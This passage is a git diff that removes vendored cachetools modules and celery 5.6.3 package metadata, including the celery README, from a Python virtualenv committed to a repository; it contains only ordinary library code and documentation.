Python < 3.13 - def cache_clear(self, _objtype=None): - return cache_clear(self._obj) - - return Descriptor(wrapper, cache_clear) - - -def _unlocked(method, cache, key): - def wrapper(self, *args, **kwargs): - c = cache(self) - k = key(self, *args, **kwargs) - try: - return c[k] - except KeyError: - pass # key not found - v = method(self, *args, **kwargs) - try: - c[k] = v - except ValueError: - pass # value too large - return v - - def cache_clear(self): - c = cache(self) - c.clear() - - class Descriptor(_DeprecatedDescriptorBase): - class Wrapper(_WrapperBase): - def __init__(self, obj): - super().__init__(obj, method, cache, key) - - def __call__(self, *args, **kwargs): - return wrapper(self._obj, *args, **kwargs) - - # objtype: backward-compatible @classmethod handling with Python < 3.13 - def cache_clear(self, _objtype=None): - return cache_clear(self._obj) - - return Descriptor(wrapper, cache_clear) - - -def _wrapper(method, cache, key, lock=None, cond=None, info=None): - if info is not None: - if cond is not None and lock is not None: - wrapper = _condition_info(method, cache, key, lock, cond, info) - elif cond is not None: - wrapper = _condition_info(method, cache, key, cond, cond, info) - elif lock is not None: - wrapper = _locked_info(method, cache, key, lock, info) - else: - wrapper = _unlocked_info(method, cache, key, info) - else: - if cond is not None and lock is not None: - wrapper = _condition(method, cache, key, lock, cond) - elif cond is not None: - wrapper = _condition(method, cache, key, cond, cond) - elif lock is not None: - wrapper = _locked(method, cache, key, lock) - else: - wrapper = _unlocked(method, cache, key) - - # backward-compatible properties for deprecated @classmethod use - wrapper.cache = cache # type: ignore - wrapper.cache_key = key # type: ignore - wrapper.cache_lock = lock if lock is not None else cond # type: ignore - wrapper.cache_condition = cond # type: ignore - - # functools.update_wrapper() will not accept descriptor (decorator) as wrapper - # https://github.com/python/typeshed/issues/9846 - return functools.update_wrapper(wrapper, method) # type: ignore diff --git a/venv/Lib/site-packages/cachetools/func.py b/venv/Lib/site-packages/cachetools/func.py deleted file mode 100644 index 07116bd9eae98994adb5943e50a14efc3370223a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/func.py +++ /dev/null @@ -1,102 +0,0 @@ -"""`functools.lru_cache` compatible memoizing function decorators.""" - -__all__ = ("fifo_cache", "lfu_cache", "lru_cache", "rr_cache", "ttl_cache") - -import math -import random -import time -from threading import Condition - -from . import FIFOCache, LFUCache, LRUCache, RRCache, TTLCache, cached, keys - - -class _UnboundTTLCache(TTLCache): - def __init__(self, ttl, timer): - TTLCache.__init__(self, math.inf, ttl, timer) - - @property - def maxsize(self): # type: ignore - return None - - -def _cache(cache, maxsize, typed): - def decorator(func): - # like functools.lru_cache, this has to be thread-safe; - # additionally, this also prevents cache stampede scenarios - # using a condition variable - key = keys.typedkey if typed else keys.hashkey - wrapper = cached(cache=cache, key=key, condition=Condition(), info=True)(func) - wrapper.cache_parameters = lambda: {"maxsize": maxsize, "typed": typed} # type: ignore - return wrapper - - return decorator - - -def fifo_cache(maxsize=128, typed=False): - """Decorator to wrap a function with a memoizing callable that saves - up to `maxsize` results based on a First In First Out (FIFO) - algorithm. - - """ - if maxsize is None: - return _cache({}, None, typed) - elif callable(maxsize): - return _cache(FIFOCache(128), 128, typed)(maxsize) - else: - return _cache(FIFOCache(maxsize), maxsize, typed) - - -def lfu_cache(maxsize=128, typed=False): - """Decorator to wrap a function with a memoizing callable that saves - up to `maxsize` results based on a Least Frequently Used (LFU) - algorithm. - - """ - if maxsize is None: - return _cache({}, None, typed) - elif callable(maxsize): - return _cache(LFUCache(128), 128, typed)(maxsize) - else: - return _cache(LFUCache(maxsize), maxsize, typed) - - -def lru_cache(maxsize=128, typed=False): - """Decorator to wrap a function with a memoizing callable that saves - up to `maxsize` results based on a Least Recently Used (LRU) - algorithm. - - """ - if maxsize is None: - return _cache({}, None, typed) - elif callable(maxsize): - return _cache(LRUCache(128), 128, typed)(maxsize) - else: - return _cache(LRUCache(maxsize), maxsize, typed) - - -def rr_cache(maxsize=128, choice=random.choice, typed=False): - """Decorator to wrap a function with a memoizing callable that saves - up to `maxsize` results based on a Random Replacement (RR) - algorithm. - - """ - if maxsize is None: - return _cache({}, None, typed) - elif callable(maxsize): - return _cache(RRCache(128, choice), 128, typed)(maxsize) - else: - return _cache(RRCache(maxsize, choice), maxsize, typed) - - -def ttl_cache(maxsize=128, ttl=600, timer=time.monotonic, typed=False): - """Decorator to wrap a function with a memoizing callable that saves - up to `maxsize` results based on a Least Recently Used (LRU) - algorithm with a per-item time-to-live (TTL) value. - - """ - if maxsize is None: - return _cache(_UnboundTTLCache(ttl, timer), None, typed) - elif callable(maxsize): - return _cache(TTLCache(128, ttl, timer), 128, typed)(maxsize) - else: - return _cache(TTLCache(maxsize, ttl, timer), maxsize, typed) diff --git a/venv/Lib/site-packages/cachetools/func.pyi b/venv/Lib/site-packages/cachetools/func.pyi deleted file mode 100644 index 7d1abed1fe6c9d12986a0934a33b5b7fac4334b1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/func.pyi +++ /dev/null @@ -1,71 +0,0 @@ -from collections.abc import Callable, Sequence -from typing import Any, Final, Generic, ParamSpec, TypeVar, overload, type_check_only - -from . import _CacheInfo - -__all__: Final = ("fifo_cache", "lfu_cache", "lru_cache", "rr_cache", "ttl_cache") - -_P = ParamSpec("_P") -_T = TypeVar("_T") -_R = TypeVar("_R") - -@type_check_only -class _cachetools_cache_wrapper(Generic[_P, _R]): - __wrapped__: Callable[_P, _R] - __name__: str - __doc__: str | None - def __call__(self, /, *args: _P.args, **kwargs: _P.kwargs) -> _R: ... - def cache_info(self) -> _CacheInfo: ... - def cache_clear(self) -> None: ... - def cache_parameters(self) -> dict[str, Any]: ... - -@overload -def fifo_cache( - maxsize: int | None = 128, typed: bool = False -) -> Callable[[Callable[_P, _R]], _cachetools_cache_wrapper[_P, _R]]: ... -@overload -def fifo_cache( - maxsize: Callable[_P, _R], typed: bool = False -) -> _cachetools_cache_wrapper[_P, _R]: ... -@overload -def lfu_cache( - maxsize: int | None = 128, typed: bool = False -) -> Callable[[Callable[_P, _R]], _cachetools_cache_wrapper[_P, _R]]: ... -@overload -def lfu_cache( - maxsize: Callable[_P, _R], typed: bool = False -) -> _cachetools_cache_wrapper[_P, _R]: ... -@overload -def lru_cache( - maxsize: int | None = 128, typed: bool = False -) -> Callable[[Callable[_P, _R]], _cachetools_cache_wrapper[_P, _R]]: ... -@overload -def lru_cache( - maxsize: Callable[_P, _R], typed: bool = False -) -> _cachetools_cache_wrapper[_P, _R]: ... -@overload -def rr_cache( - maxsize: int | None = 128, - choice: Callable[[Sequence[_T]], _T] = ..., - typed: bool = False, -) -> Callable[[Callable[_P, _R]], _cachetools_cache_wrapper[_P, _R]]: ... -@overload -def rr_cache( - maxsize: Callable[_P, _R], - choice: Callable[[Sequence[_T]], _T] = ..., - typed: bool = False, -) -> _cachetools_cache_wrapper[_P, _R]: ... -@overload -def ttl_cache( - maxsize: int | None = 128, - ttl: Any = 600, - timer: Callable[[], _T] = ..., - typed: bool = False, -) -> Callable[[Callable[_P, _R]], _cachetools_cache_wrapper[_P, _R]]: ... -@overload -def ttl_cache( - maxsize: Callable[_P, _R], - ttl: Any = 600, - timer: Callable[[], _T] = ..., - typed: bool = False, -) -> _cachetools_cache_wrapper[_P, _R]: ... diff --git a/venv/Lib/site-packages/cachetools/keys.py b/venv/Lib/site-packages/cachetools/keys.py deleted file mode 100644 index 82bdc5f10d841d70569691fc39d010ccb0212107..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/keys.py +++ /dev/null @@ -1,66 +0,0 @@ -"""Key functions for memoizing decorators.""" - -__all__ = ("hashkey", "methodkey", "typedkey", "typedmethodkey") - - -class _HashedTuple(tuple): - """A tuple that ensures that hash() will be called no more than once - per element, since cache decorators will hash the key multiple - times on a cache miss. See also _HashedSeq in the standard - library functools implementation. - - """ - - __hashvalue = None # default value, set in instance on first use - - def __hash__(self, hash=tuple.__hash__): - hashvalue = self.__hashvalue - if hashvalue is None: - self.__hashvalue = hashvalue = hash(self) - return hashvalue - - def __add__(self, other, add=tuple.__add__): - return _HashedTuple(add(self, other)) - - def __radd__(self, other, add=tuple.__add__): - return _HashedTuple(add(other, self)) - - def __getstate__(self): - return {} - - -# A sentinel for separating args from kwargs. Using the class itself -# ensures uniqueness and preserves identity when pickling/unpickling. -_kwmark = (_HashedTuple,) - - -def hashkey(*args, **kwargs): - """Return a cache key for the specified hashable arguments.""" - - if kwargs: - return _HashedTuple(args + _kwmark + tuple(sorted(kwargs.items()))) - else: - return _HashedTuple(args) - - -def methodkey(self, *args, **kwargs): - """Return a cache key for use with cached methods.""" - return hashkey(*args, **kwargs) - - -def typedkey(*args, **kwargs): - """Return a typed cache key for the specified hashable arguments.""" - - if kwargs: - sorted_kwargs = tuple(sorted(kwargs.items())) - key = _HashedTuple(args + _kwmark + sorted_kwargs) - key += tuple(type(v) for _, v in sorted_kwargs) - else: - key = _HashedTuple(args) - key += tuple(type(v) for v in args) - return key - - -def typedmethodkey(self, *args, **kwargs): - """Return a typed cache key for use with cached methods.""" - return typedkey(*args, **kwargs) diff --git a/venv/Lib/site-packages/cachetools/keys.pyi b/venv/Lib/site-packages/cachetools/keys.pyi deleted file mode 100644 index da9c809345319b67a904361fe7a7f1dd3f7ffc92..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/keys.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from collections.abc import Hashable -from typing import Final - -from _typeshed import Unused - -__all__: Final = ("hashkey", "methodkey", "typedkey", "typedmethodkey") - -def hashkey(*args: Hashable, **kwargs: Hashable) -> tuple[Hashable, ...]: ... -def methodkey( - self: Unused, /, *args: Hashable, **kwargs: Hashable -) -> tuple[Hashable, ...]: ... -def typedkey(*args: Hashable, **kwargs: Hashable) -> tuple[Hashable, ...]: ... -def typedmethodkey( - self: Unused, /, *args: Hashable, **kwargs: Hashable -) -> tuple[Hashable, ...]: ... diff --git a/venv/Lib/site-packages/cachetools/py.typed b/venv/Lib/site-packages/cachetools/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/celery-5.6.3.dist-info/INSTALLER b/venv/Lib/site-packages/celery-5.6.3.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery-5.6.3.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/celery-5.6.3.dist-info/METADATA b/venv/Lib/site-packages/celery-5.6.3.dist-info/METADATA deleted file mode 100644 index b88f2de62307c067f748c7d21e2e16dcfc45efd7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery-5.6.3.dist-info/METADATA +++ /dev/null @@ -1,735 +0,0 @@ -Metadata-Version: 2.4 -Name: celery -Version: 5.6.3 -Summary: Distributed Task Queue. -Home-page: https://docs.celeryq.dev/ -Author: Ask Solem -Author-email: auvipy@gmail.com -License: BSD-3-Clause -Project-URL: Documentation, https://docs.celeryq.dev/en/stable/ -Project-URL: Changelog, https://docs.celeryq.dev/en/stable/changelog.html -Project-URL: Code, https://github.com/celery/celery -Project-URL: Tracker, https://github.com/celery/celery/issues -Project-URL: Funding, https://opencollective.com/celery -Keywords: task job queue distributed messaging actor -Platform: any -Classifier: Development Status :: 5 - Production/Stable -Classifier: Topic :: System :: Distributed Computing -Classifier: Topic :: Software Development :: Object Brokering -Classifier: Framework :: Celery -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Operating System :: OS Independent -Requires-Python: >=3.9 -License-File: LICENSE -Requires-Dist: billiard<5.0,>=4.2.1 -Requires-Dist: kombu>=5.6.0 -Requires-Dist: vine<6.0,>=5.1.0 -Requires-Dist: click<9.0,>=8.1.2 -Requires-Dist: click-didyoumean>=0.3.0 -Requires-Dist: click-repl>=0.2.0 -Requires-Dist: click-plugins>=1.1.1 -Requires-Dist: python-dateutil>=2.8.2 -Requires-Dist: exceptiongroup>=1.3.0; python_version < "3.11" -Requires-Dist: tzlocal -Provides-Extra: arangodb -Requires-Dist: pyArango>=2.0.2; extra == "arangodb" -Provides-Extra: auth -Requires-Dist: cryptography==46.0.5; extra == "auth" -Provides-Extra: azureblockblob -Requires-Dist: azure-storage-blob>=12.15.0; extra == "azureblockblob" -Requires-Dist: azure-identity>=1.19.0; extra == "azureblockblob" -Provides-Extra: brotli -Requires-Dist: brotlipy>=0.7.0; platform_python_implementation == "PyPy" and extra == "brotli" -Requires-Dist: brotli>=1.0.0; platform_python_implementation == "CPython" and extra == "brotli" -Provides-Extra: cassandra -Requires-Dist: cassandra-driver<4,>=3.25.0; extra == "cassandra" -Provides-Extra: consul -Requires-Dist: python-consul2==0.1.5; extra == "consul" -Provides-Extra: cosmosdbsql -Requires-Dist: pydocumentdb==2.3.5; extra == "cosmosdbsql" -Provides-Extra: couchbase -Requires-Dist: couchbase>=3.0.0; (platform_python_implementation != "PyPy" and (platform_system != "Windows" or python_version < "3.10")) and extra == "couchbase" -Provides-Extra: couchdb -Requires-Dist: pycouchdb==1.16.0; extra == "couchdb" -Provides-Extra: django -Requires-Dist: Django>=2.2.28; extra == "django" -Provides-Extra: dynamodb -Requires-Dist: boto3>=1.26.143; extra == "dynamodb" -Provides-Extra: elasticsearch -Requires-Dist: elasticsearch<=9.3.0; extra == "elasticsearch" -Requires-Dist: elastic-transport<=9.2.1; extra == "elasticsearch" -Provides-Extra: eventlet -Requires-Dist: eventlet>=0.32.0; python_version < "3.10" and extra == "eventlet" -Provides-Extra: gevent -Requires-Dist: gevent>=1.5.0; extra == "gevent" -Provides-Extra: gcs -Requires-Dist: google-cloud-storage>=2.10.0; extra == "gcs" -Requires-Dist: grpcio==1.76.0; extra == "gcs" -Requires-Dist: google-cloud-firestore==2.23.0; extra == "gcs" -Provides-Extra: librabbitmq -Requires-Dist: librabbitmq>=2.0.0; python_version < "3.11" and extra == "librabbitmq" -Provides-Extra: memcache -Requires-Dist: pylibmc==1.6.3; platform_system != "Windows" and extra == "memcache" -Provides-Extra: mongodb -Requires-Dist: kombu[mongodb]; extra == "mongodb" -Provides-Extra: msgpack -Requires-Dist: kombu[msgpack]; extra == "msgpack" -Provides-Extra: pymemcache -Requires-Dist: python-memcached>=1.61; extra == "pymemcache" -Provides-Extra: pydantic -Requires-Dist: pydantic>=2.4; python_version < "3.14" and extra == "pydantic" -Requires-Dist: pydantic>=2.12.0a1; python_version >= "3.14" and extra == "pydantic" -Provides-Extra: pyro -Requires-Dist: pyro4==4.82; python_version < "3.11" and extra == "pyro" -Provides-Extra: pytest -Requires-Dist: pytest-celery[all]>=1.3.0; extra == "pytest" -Provides-Extra: redis -Requires-Dist: kombu[redis]; extra == "redis" -Provides-Extra: s3 -Requires-Dist: boto3>=1.26.143; extra == "s3" -Provides-Extra: slmq -Requires-Dist: softlayer_messaging>=1.0.3; extra == "slmq" -Provides-Extra: solar -Requires-Dist: ephem==4.2; platform_python_implementation != "PyPy" and extra == "solar" -Provides-Extra: sqlalchemy -Requires-Dist: kombu[sqlalchemy]; extra == "sqlalchemy" -Provides-Extra: sqs -Requires-Dist: boto3>=1.26.143; extra == "sqs" -Requires-Dist: pycurl<7.45.4,>=7.43.0.5; (sys_platform != "win32" and platform_python_implementation == "CPython" and python_version < "3.9") and extra == "sqs" -Requires-Dist: pycurl>=7.45.4; (sys_platform != "win32" and platform_python_implementation == "CPython" and python_version >= "3.9") and extra == "sqs" -Requires-Dist: urllib3>=1.26.16; extra == "sqs" -Requires-Dist: kombu[sqs]>=5.5.0; extra == "sqs" -Provides-Extra: tblib -Requires-Dist: tblib==3.2.2; extra == "tblib" -Provides-Extra: yaml -Requires-Dist: kombu[yaml]; extra == "yaml" -Provides-Extra: zookeeper -Requires-Dist: kazoo>=1.3.1; extra == "zookeeper" -Provides-Extra: zstd -Requires-Dist: zstandard==0.23.0; extra == "zstd" -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: description -Dynamic: home-page -Dynamic: keywords -Dynamic: license -Dynamic: license-file -Dynamic: platform -Dynamic: project-url -Dynamic: provides-extra -Dynamic: requires-dist -Dynamic: requires-python -Dynamic: summary - -.. image:: https://docs.celeryq.dev/en/latest/_images/celery-banner-small.png - -|build-status| |coverage| |license| |wheel| |semgrep| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| - -:Version: 5.6.3 (recovery) -:Web: https://docs.celeryq.dev/en/stable/index.html -:Download: https://pypi.org/project/celery/ -:Source: https://github.com/celery/celery/ -:DeepWiki: |deepwiki| -:Keywords: task, queue, job, async, rabbitmq, amqp, redis, - python, distributed, actors - -Donations -========= - -Open Collective ---------------- - -.. image:: https://opencollective.com/static/images/opencollectivelogo-footer-n.svg - :alt: Open Collective logo - :width: 200px - -`Open Collective `_ is our community-powered funding platform that fuels Celery's -ongoing development. Your sponsorship directly supports improvements, maintenance, and innovative features that keep -Celery robust and reliable. - -For enterprise -============== - -Available as part of the Tidelift Subscription. - -The maintainers of ``celery`` and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. `Learn more. `_ - -Sponsors -======== - -Blacksmith ----------- - -.. image:: https://github.com/celery/celery/blob/main/docs/images/blacksmith-logo-white-on-black.svg - :alt: Blacksmith logo - :width: 240px - :target: https://blacksmith.sh/ - -`Official Announcement `_ - -CloudAMQP ---------- - -.. image:: https://github.com/celery/celery/blob/main/docs/images/cloudamqp-logo-lightbg.svg - :alt: CloudAMQP logo - :width: 240px - :target: https://www.cloudamqp.com/ - -`CloudAMQP `_ is an industry leading RabbitMQ as a service provider. -If you need highly available message queues, a perfect choice would be to use CloudAMQP. -With 24,000+ running instances, CloudAMQP is the leading hosting provider of RabbitMQ, -with customers all over the world. - -Upstash -------- - -.. image:: https://upstash.com/logo/upstash-dark-bg.svg - :alt: Upstash logo - :width: 200px - :target: https://upstash.com/?code=celery - -`Upstash `_ offers a serverless Redis database service, -providing a seamless solution for Celery users looking to leverage -serverless architectures. Upstash's serverless Redis service is designed -with an eventual consistency model and durable storage, facilitated -through a multi-tier storage architecture. - -Dragonfly ---------- - -.. image:: https://github.com/celery/celery/raw/main/docs/images/dragonfly.svg - :alt: Dragonfly logo - :width: 150px - :target: https://www.dragonflydb.io/ - -`Dragonfly `_ is a drop-in Redis replacement that cuts costs and boosts performance. -Designed to fully utilize the power of modern cloud hardware and deliver on the data demands of modern applications, -Dragonfly frees developers from the limits of traditional in-memory data stores. - - - -.. |oc-sponsor-1| image:: https://opencollective.com/celery/sponsor/0/avatar.svg - :target: https://opencollective.com/celery/sponsor/0/website - -What's a Task Queue? -==================== - -Task queues are used as a mechanism to distribute work across threads or -machines. - -A task queue's input is a unit of work, called a task, dedicated worker -processes then constantly monitor the queue for new work to perform. - -Celery communicates via messages, usually using a broker -to mediate between clients and workers. To initiate a task a client puts a -message on the queue, the broker then delivers the message to a worker. - -A Celery system can consist of multiple workers and brokers, giving way -to high availability and horizontal scaling. - -Celery is written in Python, but the protocol can be implemented in any -language. In addition to Python there's node-celery_ for Node.js, -a `PHP client`_, `gocelery`_, gopher-celery_ for Go, and rusty-celery_ for Rust. - -Language interoperability can also be achieved by using webhooks -in such a way that the client enqueues an URL to be requested by a worker. - -.. _node-celery: https://github.com/mher/node-celery -.. _`PHP client`: https://github.com/gjedeer/celery-php -.. _`gocelery`: https://github.com/gocelery/gocelery -.. _gopher-celery: https://github.com/marselester/gopher-celery -.. _rusty-celery: https://github.com/rusty-celery/rusty-celery - -What do I need? -=============== - -Celery version 5.5.x runs on: - -- Python (3.8, 3.9, 3.10, 3.11, 3.12, 3.13) -- PyPy3.9+ (v7.3.12+) - - -This is the version of celery which will support Python 3.8 or newer. - -If you're running an older version of Python, you need to be running -an older version of Celery: - -- Python 3.7: Celery 5.2 or earlier. -- Python 3.6: Celery 5.1 or earlier. -- Python 2.7: Celery 4.x series. -- Python 2.6: Celery series 3.1 or earlier. -- Python 2.5: Celery series 3.0 or earlier. -- Python 2.4: Celery series 2.2 or earlier. - -Celery is a project with minimal funding, -so we don't support Microsoft Windows but it should be working. -Please don't open any issues related to that platform. - -*Celery* is usually used with a message broker to send and receive messages. -The RabbitMQ, Redis transports are feature complete, -but there's also experimental support for a myriad of other solutions, including -using SQLite for local development. - -*Celery* can run on a single machine, on multiple machines, or even -across datacenters. - -Get Started -=========== - -If this is the first time you're trying to use Celery, or you're -new to Celery v5.6.x coming from previous versions then you should read our -getting started tutorials: - -- `First steps with Celery`_ - - Tutorial teaching you the bare minimum needed to get started with Celery. - -- `Next steps`_ - - A more complete overview, showing more features. - -.. _`First steps with Celery`: - https://docs.celeryq.dev/en/stable/getting-started/first-steps-with-celery.html - -.. _`Next steps`: - https://docs.celeryq.dev/en/stable/getting-started/next-steps.html - - You can also get started with Celery by using a hosted broker transport CloudAMQP. The largest hosting provider of RabbitMQ is a proud sponsor of Celery. - -Celery is... -============= - -- **Simple** - - Celery is easy to use and maintain, and does *not need configuration files*. - - It has an active, friendly community you can talk to for support, - like at our `mailing-list`_, or the IRC channel. - - Here's one of the simplest applications you can make: - - .. code-block:: python - - from celery import Celery - - app = Celery('hello', broker='amqp://guest@localhost//') - - @app.task - def hello(): - return 'hello world' - -- **Highly Available** - - Workers and clients will automatically retry in the event - of connection loss or failure, and some brokers support - HA in way of *Primary/Primary* or *Primary/Replica* replication. - -- **Fast** - - A single Celery process can process millions of tasks a minute, - with sub-millisecond round-trip latency (using RabbitMQ, - py-librabbitmq, and optimized settings). - -- **Flexible** - - Almost every part of *Celery* can be extended or used on its own, - Custom pool implementations, serializers, compression schemes, logging, - schedulers, consumers, producers, broker transports, and much more. - -It supports... -================ - - - **Message Transports** - - - RabbitMQ_, Redis_, Amazon SQS, Google Pub/Sub - - - **Concurrency** - - - Prefork, Eventlet_, gevent_, single threaded (``solo``) - - - **Result Stores** - - - AMQP, Redis - - memcached - - SQLAlchemy, Django ORM - - Apache Cassandra, IronCache, Elasticsearch - - Google Cloud Storage - - - **Serialization** - - - *pickle*, *json*, *yaml*, *msgpack*. - - *zlib*, *bzip2* compression. - - Cryptographic message signing. - -.. _`Eventlet`: http://eventlet.net/ -.. _`gevent`: http://gevent.org/ - -.. _RabbitMQ: https://rabbitmq.com -.. _Redis: https://redis.io -.. _SQLAlchemy: http://sqlalchemy.org - -Framework Integration -===================== - -Celery is easy to integrate with web frameworks, some of which even have -integration packages: - - +--------------------+------------------------+ - | `Django`_ | not needed | - +--------------------+------------------------+ - | `Pyramid`_ | `pyramid_celery`_ | - +--------------------+------------------------+ - | `Pylons`_ | `celery-pylons`_ | - +--------------------+------------------------+ - | `Flask`_ | not needed | - +--------------------+------------------------+ - | `web2py`_ | `web2py-celery`_ | - +--------------------+------------------------+ - | `Tornado`_ | `tornado-celery`_ | - +--------------------+------------------------+ - | `FastAPI`_ | not needed | - +--------------------+------------------------+ - -The integration packages aren't strictly necessary, but they can make -development easier, and sometimes they add important hooks like closing -database connections at ``fork``. - -.. _`Django`: https://djangoproject.com/ -.. _`Pylons`: http://pylonsproject.org/ -.. _`Flask`: https://flask.palletsprojects.com/ -.. _`web2py`: http://web2py.com/ -.. _`Bottle`: https://bottlepy.org/ -.. _`Pyramid`: https://docs.pylonsproject.org/projects/pyramid/en/latest/ -.. _`pyramid_celery`: https://pypi.org/project/pyramid_celery/ -.. _`celery-pylons`: https://pypi.org/project/celery-pylons/ -.. _`web2py-celery`: https://code.google.com/p/web2py-celery/ -.. _`Tornado`: https://www.tornadoweb.org/ -.. _`tornado-celery`: https://github.com/mher/tornado-celery/ -.. _`FastAPI`: https://fastapi.tiangolo.com/ - -.. _celery-documentation: - -Documentation -============= - -The `latest documentation`_ is hosted at Read The Docs, containing user guides, -tutorials, and an API reference. - -.. _`latest documentation`: https://docs.celeryq.dev/en/latest/ - -.. _celery-installation: - -Installation -============ - -You can install Celery either via the Python Package Index (PyPI) -or from source. - -To install using ``pip``: - -:: - - - $ pip install -U Celery - -.. _bundles: - -Bundles -------- - -Celery also defines a group of bundles that can be used -to install Celery and the dependencies for a given feature. - -You can specify these in your requirements or on the ``pip`` -command-line by using brackets. Multiple bundles can be specified by -separating them by commas. - -:: - - - $ pip install "celery[redis]" - - $ pip install "celery[redis,auth,msgpack]" - -The following bundles are available: - -Serializers -~~~~~~~~~~~ - -:``celery[auth]``: - for using the ``auth`` security serializer. - -:``celery[msgpack]``: - for using the msgpack serializer. - -:``celery[yaml]``: - for using the yaml serializer. - -Concurrency -~~~~~~~~~~~ - -:``celery[eventlet]``: - for using the ``eventlet`` pool. - -:``celery[gevent]``: - for using the ``gevent`` pool. - -Transports and Backends -~~~~~~~~~~~~~~~~~~~~~~~ - -:``celery[amqp]``: - for using the RabbitMQ amqp python library. - -:``celery[redis]``: - for using Redis as a message transport or as a result backend. - -:``celery[sqs]``: - for using Amazon SQS as a message transport. - -:``celery[tblib``]: - for using the ``task_remote_tracebacks`` feature. - -:``celery[memcache]``: - for using Memcached as a result backend (using ``pylibmc``) - -:``celery[pymemcache]``: - for using Memcached as a result backend (pure-Python implementation). - -:``celery[cassandra]``: - for using Apache Cassandra/Astra DB as a result backend with the DataStax driver. - -:``celery[azureblockblob]``: - for using Azure Storage as a result backend (using ``azure-storage``) - -:``celery[s3]``: - for using S3 Storage as a result backend. - -:``celery[gcs]``: - for using Google Cloud Storage as a result backend. - -:``celery[couchbase]``: - for using Couchbase as a result backend. - -:``celery[arangodb]``: - for using ArangoDB as a result backend. - -:``celery[elasticsearch]``: - for using Elasticsearch as a result backend. - -:``celery[riak]``: - for using Riak as a result backend. - -:``celery[cosmosdbsql]``: - for using Azure Cosmos DB as a result backend (using ``pydocumentdb``) - -:``celery[zookeeper]``: - for using Zookeeper as a message transport. - -:``celery[sqlalchemy]``: - for using SQLAlchemy as a result backend (*supported*). - -:``celery[pyro]``: - for using the Pyro4 message transport (*experimental*). - -:``celery[slmq]``: - for using the SoftLayer Message Queue transport (*experimental*). - -:``celery[consul]``: - for using the Consul.io Key/Value store as a message transport or result backend (*experimental*). - -:``celery[django]``: - specifies the lowest version possible for Django support. - - You should probably not use this in your requirements, it's here - for informational purposes only. - -:``celery[gcpubsub]``: - for using Google Pub/Sub as a message transport. - - - -.. _celery-installing-from-source: - -Downloading and installing from source --------------------------------------- - -Download the latest version of Celery from PyPI: - -https://pypi.org/project/celery/ - -You can install it by doing the following: - -:: - - - $ tar xvfz celery-0.0.0.tar.gz - $ cd celery-0.0.0 - $ python setup.py build - # python setup.py install - -The last command must be executed as a privileged user if -you aren't currently using a virtualenv. - -.. _celery-installing-from-git: - -Using the development version ------------------------------ - -With pip -~~~~~~~~ - -The Celery development version also requires the development -versions of ``kombu``, ``amqp``, ``billiard``, and ``vine``. - -You can install the latest snapshot of these using the following -pip commands: - -:: - - - $ pip install https://github.com/celery/celery/zipball/main#egg=celery - $ pip install https://github.com/celery/billiard/zipball/main#egg=billiard - $ pip install https://github.com/celery/py-amqp/zipball/main#egg=amqp - $ pip install https://github.com/celery/kombu/zipball/main#egg=kombu - $ pip install https://github.com/celery/vine/zipball/main#egg=vine - -With git -~~~~~~~~ - -Please see the Contributing section. - -.. _getting-help: - -Getting Help -============ - -.. _mailing-list: - -Mailing list ------------- - -For discussions about the usage, development, and future of Celery, -please join the `celery-users`_ mailing list. - -.. _`celery-users`: https://groups.google.com/group/celery-users/ - -.. _irc-channel: - -IRC ---- - -Come chat with us on IRC. The **#celery** channel is located at the -`Libera Chat`_ network. - -.. _`Libera Chat`: https://libera.chat/ - -.. _bug-tracker: - -Bug tracker -=========== - -If you have any suggestions, bug reports, or annoyances please report them -to our issue tracker at https://github.com/celery/celery/issues/ - -.. _wiki: - -Wiki -==== - -https://github.com/celery/celery/wiki - -Credits -======= - -.. _contributing-short: - -Contributors ------------- - -This project exists thanks to all the people who contribute. Development of -`celery` happens at GitHub: https://github.com/celery/celery - -You're highly encouraged to participate in the development -of `celery`. If you don't like GitHub (for some reason) you're welcome -to send regular patches. - -Be sure to also read the `Contributing to Celery`_ section in the -documentation. - -.. _`Contributing to Celery`: - https://docs.celeryq.dev/en/stable/contributing.html - -Backers -------- - -Thank you to all our backers! 🙏 [`Become a backer`_] - -.. _`Become a backer`: https://opencollective.com/celery#backer - -|oc-backers| - -.. |oc-backers| image:: https://opencollective.com/celery/backers.svg?width=890 - :target: https://opencollective.com/celery#backers - -.. _license: - -License -======= - -This software is licensed under the `New BSD License`. See the ``LICENSE`` -file in the top distribution directory for the full license text. - -.. # vim: syntax=rst expandtab tabstop=4 shiftwidth=4 shiftround - -.. |build-status| image:: https://github.com/celery/celery/actions/workflows/python-package.yml/badge.svg - :alt: Build status - :target: https://github.com/celery/celery/actions/workflows/python-package.yml - -.. |coverage| image:: https://codecov.io/github/celery/celery/coverage.svg?branch=main - :target: https://codecov.io/github/celery/celery?branch=main - -.. |license| image:: https://img.shields.io/pypi/l/celery.svg - :alt: BSD License - :target: https://opensource.org/licenses/BSD-3-Clause - -.. |wheel| image:: https://img.shields.io/pypi/wheel/celery.svg - :alt: Celery can be installed via wheel - :target: https://pypi.org/project/celery/ - -.. |semgrep| image:: https://img.shields.io/badge/semgrep-security-green.svg - :alt: Semgrep security - :target: https://go.semgrep.dev/home - -.. |pyversion| image:: https://img.shields.io/pypi/pyversions/celery.svg - 